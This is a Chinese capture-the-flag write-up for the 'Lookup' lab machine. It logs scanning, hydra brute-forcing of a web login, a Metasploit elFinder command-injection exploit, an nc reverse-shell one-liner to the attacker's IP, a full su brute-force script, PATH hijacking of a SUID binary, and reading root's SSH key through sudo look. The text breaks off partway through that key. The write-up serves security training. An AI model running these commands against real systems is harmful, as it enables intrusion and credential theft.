hmv[-_-]lookup
|
62
|
0
|
CP,WEB

957 字
|
37 分钟

Lookup

image-20240923151238456

image-20240923145634925

信息搜集

端口扫描

┌──(kali💀kali)-[~/temp/Lookup]
└─$ rustscan -a $IP -- -sCV            
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.10.101:22
Open 192.168.10.101:80

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMc4hLykriw3nBOsKHJK1Y6eauB8OllfLLlztbB4tu4c9cO8qyOXSfZaCcb92uq/Y3u02PPHWq2yXOLPler1AFGVhuSfIpokEnT2jgQzKL63uJMZtoFzL3RW8DAzunrHhi/nQqo8sw7wDCiIN9s4PDrAXmP6YXQ5ekK30om9kd5jHG6xJ+/gIThU4ODr/pHAqr28bSpuHQdgphSjmeShDMg8wu8Kk/B0bL2oEvVxaNNWYWc1qHzdgjV5HPtq6z3MEsLYzSiwxcjDJ+EnL564tJqej6R69mjII1uHStkrmewzpiYTBRdgi9A3Yb+x8NxervECFhUR2MoR1zD+0UJbRA2v1LQaGg9oYnYXNq3Lc5c4aXz638wAUtLtw2SwTvPxDrlCmDVtUhQFDhyFOu9bSmPY0oGH5To8niazWcTsCZlx2tpQLhF/gS3jP/fVw+H6Eyz/yge3RYeyTv3ehV6vXHAGuQLvkqhT6QS21PLzvM7bCqmo1YIqHfT2DLi7jZxdk=
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJNL/iO8JI5DrcvPDFlmqtX/lzemir7W+WegC7hpoYpkPES6q+0/p4B2CgDD0Xr1AgUmLkUhe2+mIJ9odtlWW30=
|   256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFG/Wi4PUTjReEdk2K4aFMi8WzesipJ0bp0iI0FM8AfE
80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://lookup.hmv
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

目录扫描

┌──(kali💀kali)-[~/temp/Lookup]
└─$ gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -b 301,401,403,404 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.10.101
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   301,401,403,404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 302) [Size: 0] [--> http://lookup.hmv]
Progress: 16555 / 441122 (3.75%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 16555 / 441122 (3.75%)
===============================================================
Finished
===============================================================

发现了一处dns解析，尝试修改：

192.168.10.101    lookup.hmv
┌──(kali💀kali)-[~/temp/Lookup]
└─$ gobuster dir -u http://lookup.hmv -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -b 301,401,403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://lookup.hmv
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   301,401,403,404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 719]
/login.php            (Status: 200) [Size: 1]
Progress: 106030 / 441122 (24.04%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 106234 / 441122 (24.08%)
===============================================================
Finished
===============================================================

漏洞发现

踩点

┌──(kali💀kali)-[~/temp/Lookup]
└─$ whatweb http://lookup.hmv                     
http://lookup.hmv [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.10.101], PasswordField[password], Title[Login Page]

image-20240923150112941

密码输错会重定向，尝试一下抓包：

POST /login.php HTTP/1.1
Host: lookup.hmv
Content-Length: 35
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://lookup.hmv
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lookup.hmv/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username=username&password=password

尝试sql注入但是无果。

FUZZ 域名

┌──(kali💀kali)-[~/temp/Lookup]
└─$ ffuf -c -u http://$IP -H "Host: FUZZ.Lookup.hmv" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --fs 0 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.10.101
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.Lookup.hmv
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

www                     [Status: 200, Size: 719, Words: 114, Lines: 27, Duration: 7ms]
:: Progress: [19966/19966] :: Job [1/1] :: 7142 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

暂时没啥收获。

尝试爆破

┌──(kali💀kali)-[~/temp/Lookup]
└─$ curl -s -i http://lookup.hmv -X POST -d "username=username&password=password" 
HTTP/1.1 200 OK
Date: Mon, 23 Sep 2024 07:21:13 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 719
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Login Page</title>
  <link rel="stylesheet" href="styles.css">
</head>
<body>
  <div class="container">
    <form action="login.php" method="post">
      <h2>Login</h2>
      <div class="input-group">
        <label for="username">Username</label>
        <input type="text" id="username" name="username" required>
      </div>
      <div class="input-group">
        <label for="password">Password</label>
        <input type="password" id="password" name="password" required>
      </div>
      <button type="submit">Login</button>
    </form>
  </div>
</body>
</html>

┌──(kali💀kali)-[~/temp/Lookup]
└─$ curl -s -i http://lookup.hmv/login.php -X POST -d "username=username&password=password" 
HTTP/1.1 200 OK
Date: Mon, 23 Sep 2024 07:21:34 GMT
Server: Apache/2.4.41 (Ubuntu)
Refresh: 3; url=http://lookup.hmv
Vary: Accept-Encoding
Content-Length: 74
Content-Type: text/html; charset=UTF-8

Wrong username or password. Please try again.<br>Redirecting in 3 seconds.

┌──(kali💀kali)-[~/temp/Lookup]
└─$ curl -s http://lookup.hmv/login.php -X POST -d "username=admin&password=root"
Wrong password. Please try again.<br>Redirecting in 3 seconds.

尝试使用hydra爆破

┌──(kali💀kali)-[~/temp/Lookup]
└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt -f lookup.hmv http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong password" 
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-23 05:37:07
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://lookup.hmv:80/login.php:username=^USER^&password=^PASS^:Wrong password
[80][http-post-form] host: lookup.hmv   login: admin   password: password123
[STATUS] attack finished for lookup.hmv (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-23 05:37:37

尝试去看一下这个地址：

┌──(kali💀kali)-[~/temp/Lookup]
└─$ curl http://lookup.hmv/login.php -X POST -d "username=admin&password=aaaa"
Wrong password. Please try again.<br>Redirecting in 3 seconds.                                                                                                                                                                                             
┌──(kali💀kali)-[~/temp/Lookup]
└─$ curl http://lookup.hmv/login.php -X POST -d "username=admin&password=password123"
Wrong username or password. Please try again.<br>Redirecting in 3 seconds.

说明用户名不对，重新爆破一下：

┌──(kali💀kali)-[~/temp/Lookup]
└─$ hydra -p password123 -L /usr/share/wordlists/rockyou.txt -f lookup.hmv http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong username" 
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-23 05:40:21
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:14344399/p:1), ~896525 tries per task
[DATA] attacking http-post-form://lookup.hmv:80/login.php:username=^USER^&password=^PASS^:Wrong username
[STATUS] 4455.00 tries/min, 4455 tries in 00:01h, 14339944 to do in 53:39h, 16 active
[80][http-post-form] host: lookup.hmv   login: jose   password: password123
[STATUS] attack finished for lookup.hmv (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-23 05:43:10

得到用户名和密码：

jose
password123

打开会弹到：

http://files.lookup.hmv/

漏洞利用

但是没东西，尝试一下其他漏洞：

image-20240923175322323

右键上传文件：

image-20240923175611169

image-20240923175644736

改为jpg上传成功！

image-20240923175839179

还是产生利用漏洞直接过吧，害，其他漏洞未利用成功，尝试msf的漏洞模块：


┌──(kali💀kali)-[~/temp/Lookup]
└─$ msfconsole -q                
msf6 > search elfinder

Matching Modules
================

   #  Name                                                               Disclosure Date  Rank       Check  Description
   -  ----                                                               ---------------  ----       -----  -----------
   0  exploit/multi/http/builderengine_upload_exec                       2016-09-18       excellent  Yes    BuilderEngine Arbitrary File Upload Vulnerability and execution
   1  exploit/unix/webapp/tikiwiki_upload_exec                           2016-07-11       excellent  Yes    Tiki Wiki Unauthenticated File Upload Vulnerability
   2  exploit/multi/http/wp_file_manager_rce                             2020-09-09       normal     Yes    WordPress File Manager Unauthenticated Remote Code Execution
   3  exploit/linux/http/elfinder_archive_cmd_injection                  2021-06-13       excellent  Yes    elFinder Archive Command Injection
   4  exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection  2019-02-26       excellent  Yes    elFinder PHP Connector exiftran Command Injection

Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection

msf6 > use 4
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > options

Module options (exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /elFinder/       yes       The base path to elFinder
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Auto

View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > set LHOST 192.168.10.102
LHOST => 192.168.10.102
msf6 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > set rhosts 192.168.10.101
rhosts => 192.168.10.101
msf6 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > set vhost files.lookup.hmv
vhost => files.lookup.hmv
msf6 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > run

[*] Started reverse TCP handler on 192.168.10.102:4444 
[*] Uploading payload 'cXiio3.jpg;echo 6370202e2e2f66696c65732f635869696f332e6a70672a6563686f2a202e527731696234352e706870 |xxd -r -p |sh& #.jpg' (1955 bytes)
[*] Triggering vulnerability via image rotation ...
[*] Executing payload (/elFinder/php/.Rw1ib45.php) ...
[*] Sending stage (39927 bytes) to 192.168.10.101
[+] Deleted .Rw1ib45.php
[*] Meterpreter session 1 opened (192.168.10.102:4444 -> 192.168.10.101:54334) at 2024-09-23 06:02:47 -0400
[*] No reply
[*] Removing uploaded file ...
[+] Deleted uploaded file

meterpreter > shell
Process 6973 created.
Channel 0 created.
whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)

拿下shell！

提权

信息搜集

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.10.102 1234 >/tmp/f

传到pwncat这里：

image-20240923180820216

(remote) www-data@lookup:/var/www/files.lookup.hmv/public_html/elFinder/php$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/usr/bin/bash
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
think:x:1000:1000:,,,:/home/think:/bin/bash
fwupd-refresh:x:113:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
(remote) www-data@lookup:/var/www/files.lookup.hmv/public_html/elFinder/php$ ls /home
think
(remote) www-data@lookup:/var/www/files.lookup.hmv/public_html/elFinder/php$ cd /home/think
(remote) www-data@lookup:/home/think$ ls -la
total 40
drwxr-xr-x 5 think think 4096 Jan 11  2024 .
drwxr-xr-x 3 root  root  4096 Jun  2  2023 ..
lrwxrwxrwx 1 root  root     9 Jun 21  2023 .bash_history -> /dev/null
-rwxr-xr-x 1 think think  220 Jun  2  2023 .bash_logout
-rwxr-xr-x 1 think think 3771 Jun  2  2023 .bashrc
drwxr-xr-x 2 think think 4096 Jun 21  2023 .cache
drwx------ 3 think think 4096 Aug  9  2023 .gnupg
-rw-r----- 1 root  think  525 Jul 30  2023 .passwords
-rwxr-xr-x 1 think think  807 Jun  2  2023 .profile
drw-r----- 2 think think 4096 Jun 21  2023 .ssh
lrwxrwxrwx 1 root  root     9 Jun 21  2023 .viminfo -> /dev/null
-rw-r----- 1 root  think   33 Jul 30  2023 user.txt
(remote) www-data@lookup:/home/think$ sudo -l
[sudo] password for www-data: 
^C
(remote) www-data@lookup:/tmp$ find / -perm -u=s -type f 2>/dev/null
/snap/snapd/19457/usr/lib/snapd/snap-confine
/snap/core20/1950/usr/bin/chfn
/snap/core20/1950/usr/bin/chsh
/snap/core20/1950/usr/bin/gpasswd
/snap/core20/1950/usr/bin/mount
/snap/core20/1950/usr/bin/newgrp
/snap/core20/1950/usr/bin/passwd
/snap/core20/1950/usr/bin/su
/snap/core20/1950/usr/bin/sudo
/snap/core20/1950/usr/bin/umount
/snap/core20/1950/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1950/usr/lib/openssh/ssh-keysign
/snap/core20/1974/usr/bin/chfn
/snap/core20/1974/usr/bin/chsh
/snap/core20/1974/usr/bin/gpasswd
/snap/core20/1974/usr/bin/mount
/snap/core20/1974/usr/bin/newgrp
/snap/core20/1974/usr/bin/passwd
/snap/core20/1974/usr/bin/su
/snap/core20/1974/usr/bin/sudo
/snap/core20/1974/usr/bin/umount
/snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1974/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pwm
/usr/bin/at
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/umount
(remote) www-data@lookup:/tmp$ ls -la /usr/sbin/pwm
-rwsr-sr-x 1 root root 17176 Jan 11  2024 /usr/sbin/pwm

开一下pspy看一下：

image-20240923181408964

再上传linpeas.sh

image-20240923182027443

(remote) www-data@lookup:/tmp$ find / -group think -type f 2>/dev/null
/home/think/.cache/motd.legal-displayed
/home/think/.profile
/home/think/.bashrc
/home/think/.passwords
/home/think/.bash_logout
/home/think/user.txt

(remote) www-data@lookup:/tmp$ /usr/sbin/getcap -r / 2>/dev/null
/snap/core20/1950/usr/bin/ping = cap_net_raw+ep
/snap/core20/1974/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep

(remote) www-data@lookup:/$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found

劫持环境变量提权

(remote) www-data@lookup:/home$ whereis id
id: /usr/bin/id /usr/share/man/man1/id.1.gz
(remote) www-data@lookup:/home$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
(remote) www-data@lookup:/home$ cd /tmp
(remote) www-data@lookup:/tmp$ id      
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(remote) www-data@lookup:/tmp$ id think 
uid=1000(think) gid=1000(think) groups=1000(think)
(remote) www-data@lookup:/tmp$ echo '1000' > id
(remote) www-data@lookup:/tmp$ chmod +x id
(remote) www-data@lookup:/tmp$ PATH=$PWD:$PATH
(remote) www-data@lookup:/tmp$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
/tmp/id: 1: 1000: not found
[-] Error reading username from id command
: Success
(remote) www-data@lookup:/tmp$ echo 'uid=1000(think)' > id
(remote) www-data@lookup:/tmp$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
/tmp/id: 1: Syntax error: "(" unexpected
[-] Error reading username from id command
: Success
(remote) www-data@lookup:/tmp$ cat id
uid=1000(think)
(remote) www-data@lookup:/tmp$ echo 'uid=1000(think) gid=1000(think) groups=1000(think)' > id
(remote) www-data@lookup:/tmp$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
/tmp/id: 1: Syntax error: "(" unexpected
[-] Error reading username from id command
: Success
(remote) www-data@lookup:/tmp$ id           
/tmp/id: line 1: syntax error near unexpected token `('
/tmp/id: line 1: `uid=1000(think) gid=1000(think) groups=1000(think)'
(remote) www-data@lookup:/tmp$ echo 'echo "uid=1000(think) gid=1000(think) groups=1000(think)"' > id
(remote) www-data@lookup:/tmp$ id
uid=1000(think) gid=1000(think) groups=1000(think)
(remote) www-data@lookup:/tmp$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
jose1006
jose1004
jose1002
jose1001teles
jose100190
jose10001
jose10.asd
jose10+
jose0_07
jose0990
jose0986$
jose098130443
jose0981
jose0924
jose0923
jose0921
thepassword
jose(1993)
jose'sbabygurl
jose&vane
jose&takie
jose&samantha
jose&pam
jose&jlo
jose&jessica
jose&jessi
josemario.AKA(think)
jose.medina.
jose.mar
jose.luis.24.oct
jose.line
jose.leonardo100
jose.leas.30
jose.ivan
jose.i22
jose.hm
jose.hater
jose.fa
jose.f
jose.dont
jose.d
jose.com}
jose.com
jose.chepe_06
jose.a91
jose.a
jose.96.
jose.9298
jose.2856171

尝试这些密码进行爆破提权：

(remote) www-data@lookup:/tmp$ /usr/sbin/pwm > pass.txt
(remote) www-data@lookup:/tmp$ wget http://192.168.10.102:8888/suBF.sh
(remote) www-data@lookup:/tmp$ chmod +x suBF.sh 
(remote) www-data@lookup:/tmp$ cat suBF.sh 
#!/bin/bash

help="This tool bruteforces a selected user using binary su and as passwords: null password, username, reverse username and a wordlist (top12000.txt).
You can specify a username using -u <username> and a wordlist via -w <wordlist>.
By default the BF default speed is using 100 su processes at the same time (each su try last 0.7s and a new su try in 0.007s) ~ 143s to complete
You can configure this times using -t (timeout su process) ans -s (sleep between 2 su processes).
Fastest recommendation: -t 0.5 (minimun acceptable) and -s 0.003 ~ 108s to complete

Example:    ./suBF.sh -u <USERNAME> [-w top12000.txt] [-t 0.7] [-s 0.007]

THE USERNAME IS CASE SENSITIVE AND THIS SCRIPT DOES NOT CHECK IF THE PROVIDED USERNAME EXIST, BE CAREFUL\n\n"

WORDLIST="top12000.txt"
USER=""
TIMEOUTPROC="0.7"
SLEEPPROC="0.007"
while getopts "h?u:t:s:w:" opt; do
  case "$opt" in
    h|\?) printf "$help"; exit 0;;
    u)  USER=$OPTARG;;
    t)  TIMEOUTPROC=$OPTARG;;
    s)  SLEEPPROC=$OPTARG;;
    w)  WORDLIST=$OPTARG;;
    esac
done

if ! [ "$USER" ]; then printf "$help"; exit 0; fi

if ! [[ -p /dev/stdin ]] && ! [ $WORDLIST = "-" ] && ! [ -f "$WORDLIST" ]; then echo "Wordlist ($WORDLIST) not found!"; exit 0; fi

C=$(printf '\033')

su_try_pwd (){
  USER=$1
  PASSWORDTRY=$2
  trysu=`echo "$PASSWORDTRY" | timeout $TIMEOUTPROC su $USER -c whoami 2>/dev/null` 
  if [ "$trysu" ]; then
    echo "  You can login as $USER using password: $PASSWORDTRY" | sed "s,.*,${C}[1;31;103m&${C}[0m,"
    exit 0;
  fi
}

su_brute_user_num (){
  echo "  [+] Bruteforcing $1..."
  USER=$1
  su_try_pwd $USER "" &    #Try without password
  su_try_pwd $USER $USER & #Try username as password
  su_try_pwd $USER `echo $USER | rev 2>/dev/null` &     #Try reverse username as password

  if ! [[ -p /dev/stdin ]] && [ -f "$WORDLIST" ]; then
    while IFS='' read -r P || [ -n "${P}" ]; do # Loop through wordlist file   
      su_try_pwd $USER $P & #Try TOP TRIES of passwords (by default 2000)
      sleep $SLEEPPROC # To not overload the system
    done < $WORDLIST

  else
    cat - | while read line; do
      su_try_pwd $USER $line & #Try TOP TRIES of passwords (by default 2000)    
      sleep $SLEEPPROC # To not overload the system
    done
  fi
  wait
}

su_brute_user_num $USER
echo "  Wordlist exhausted" | sed "s,.*,${C}[1;31;107m&${C}[0m,"
(remote) www-data@lookup:/tmp$ ./suBF.sh -u think -w pass.txt 
  [+] Bruteforcing think...
  You can login as think using password: josemario.AKA(think)
  Wordlist exhausted

image-20240923190246582

look提权至root

think@lookup:~$ ls -la
total 40
drwxr-xr-x 5 think think 4096 Jan 11  2024 .
drwxr-xr-x 3 root  root  4096 Jun  2  2023 ..
lrwxrwxrwx 1 root  root     9 Jun 21  2023 .bash_history -> /dev/null
-rwxr-xr-x 1 think think  220 Jun  2  2023 .bash_logout
-rwxr-xr-x 1 think think 3771 Jun  2  2023 .bashrc
drwxr-xr-x 2 think think 4096 Jun 21  2023 .cache
drwx------ 3 think think 4096 Aug  9  2023 .gnupg
-rw-r----- 1 root  think  525 Jul 30  2023 .passwords
-rwxr-xr-x 1 think think  807 Jun  2  2023 .profile
drw-r----- 2 think think 4096 Jun 21  2023 .ssh
-rw-r----- 1 root  think   33 Jul 30  2023 user.txt
lrwxrwxrwx 1 root  root     9 Jun 21  2023 .viminfo -> /dev/null
think@lookup:~$ cat .passwords 
jose1006
jose1004
jose1002
jose1001teles
jose100190
jose10001
jose10.asd
jose10+
jose0_07
jose0990
jose0986$
jose098130443
jose0981
jose0924
jose0923
jose0921
thepassword
jose(1993)
jose'sbabygurl
jose&vane
jose&takie
jose&samantha
jose&pam
jose&jlo
jose&jessica
jose&jessi
josemario.AKA(think)
jose.medina.
jose.mar
jose.luis.24.oct
jose.line
jose.leonardo100
jose.leas.30
jose.ivan
jose.i22
jose.hm
jose.hater
jose.fa
jose.f
jose.dont
jose.d
jose.com}
jose.com
jose.chepe_06
jose.a91
jose.a
jose.96.
jose.9298
jose.2856171
think@lookup:~$ cat user.txt 
38375fb4dd8baa2b2039ac03d92b820e
think@lookup:~$ sudo -l
[sudo] password for think: 
Matching Defaults entries for think on lookup:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User think may run the following commands on lookup:
    (ALL) /usr/bin/look
think@lookup:~$ /usr/bin/look
usage: look [-bdf] [-t char] string [file ...]
think@lookup:~$ sudo look '' "/root/.ssh/id_rsa"
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAptm2+DipVfUMY+7g9Lcmf/h23TCH7qKRg4Penlti9RKW2XLSB5wR
Qcqy1zRFDKtRQGhfTq+YfVfboJBPCfKHdpQqM/zDb//ZlnlwCwKQ5XyTQU/vHfROfU0pnR
j7eIpw50J7PGPNG7RAgbP5tJ2NcsFYAifmxMrJPVR/+ybAIVbB+ya/D5r9DYPmatUTLlHD
bV55xi6YcfV7rjbOpjRj8hgubYgjL26BwszbaHKSkI+NcVNPmgquy5Xw8gh3XciFhNLqmd
ISF9fxn5i1vQDB318owoPPZB1rIuMPH3C0SIno42FiqFO/fb1/wPHGasBmLzZF6Fr8/EHC
4wRj9tqsMZfD8xkk2FACtmAFH90ZHXg5D+pwujPDQAuULODP8Koj4vaMKu2CgH3+8I3xRM
hufqHa1+Qe3Hu++7qISEWFHgzpRMFtjPFJEGRzzh2x8F+wozctvn3tcHRv321W5WJGgzhd
k5ECnuu8Jzpg25PEPKrvYf+lMUQebQSncpcrffr9AAAFiJB/j92Qf4/dAAAAB3NzaC1yc2
EAAAGBAKbZtvg4qVX1DGPu4PS3Jn/4dt0wh+6ikYOD3p5bYvUSltly0gecEUHKstc0RQyr
UUBoX06vmH1X26CQTwnyh3aUKjP8w2//2ZZ5cAsCkOV8k0FP7x30Tn1NKZ0Y+3iKcOdCez
xjzRu0QIGz+bSdjXLBWAIn5sTKyT1Uf/smwCFWwfsmvw+a/Q2D5mrVEy5Rw21eecYumHH1
e642zqY0Y/IYLm2IIy9ugcLM22hykpCPjXFTT5oKrsuV8PIId13IhYTS6pnSEhfX8Z+Ytb
0Awd9fKMKDz2QdayLjDx9wtEiJ6ONhYqhTv329f8DxxmrAZi82Reha/PxBwuMEY/barDGX
w/MZJNhQArZgBR/dGR14OQ/qcLozw0ALlCzgz/CqI+L2jCrtgoB9/vCN8UTIbn6h2tfkHt
x7vvu6iEhFhR4M6UTBbYzxSRBkc84dsfBfsKM3Lb597XB0b99tVuViRoM4XZORAp7rvCc6
YNuTxDyq72H/pTFEHm0Ep3KXK336/QAAAAMBAAEAAAGBAJ4t2wO6G/eMyIFZL1Vw6QP7Vx
zdbJE0+AUZmIzCkK9MP0zJSQrDz6xy8VeKi0e2huIr0Oc1G7kA+QtgpD4G+pvVXalJoTLl
+K9qU2lstleJ4cTSdhwMx/iMlb4EuCsP/HeSFGktKH9yRJFyQXIUx8uaNshcca/xnBUTrf
05QH6a1G44znuJ8QvGF0UC2htYkpB2N7ZF6GppUybXeNQi6PnUKPfYT5shBc3bDssXi5GX
Nn3QgK/GHu6NKQ8cLaXwefRUD6NBOERQtwTwQtQN+n/xIs77kmvCyYOxzyzgWoS2zkhXUz
YZyzk8d2PahjPmWcGW3j3AU3A3ncHd7ga8K9zdyoyp6nCF+VF96DpZSpS2Oca3T8yltaR1
1fkofhBy75ijNQTXUHhAwuDaN5/zGfO+HS6iQ1YWYiXVZzPsktV4kFpKkUMklC9VjlFjPi
t1zMCGVDXu2qgfoxwsxRwknKUt75osVPN9HNAU3LVqviencqvNkyPX9WXpb+z7GUf7FQAA
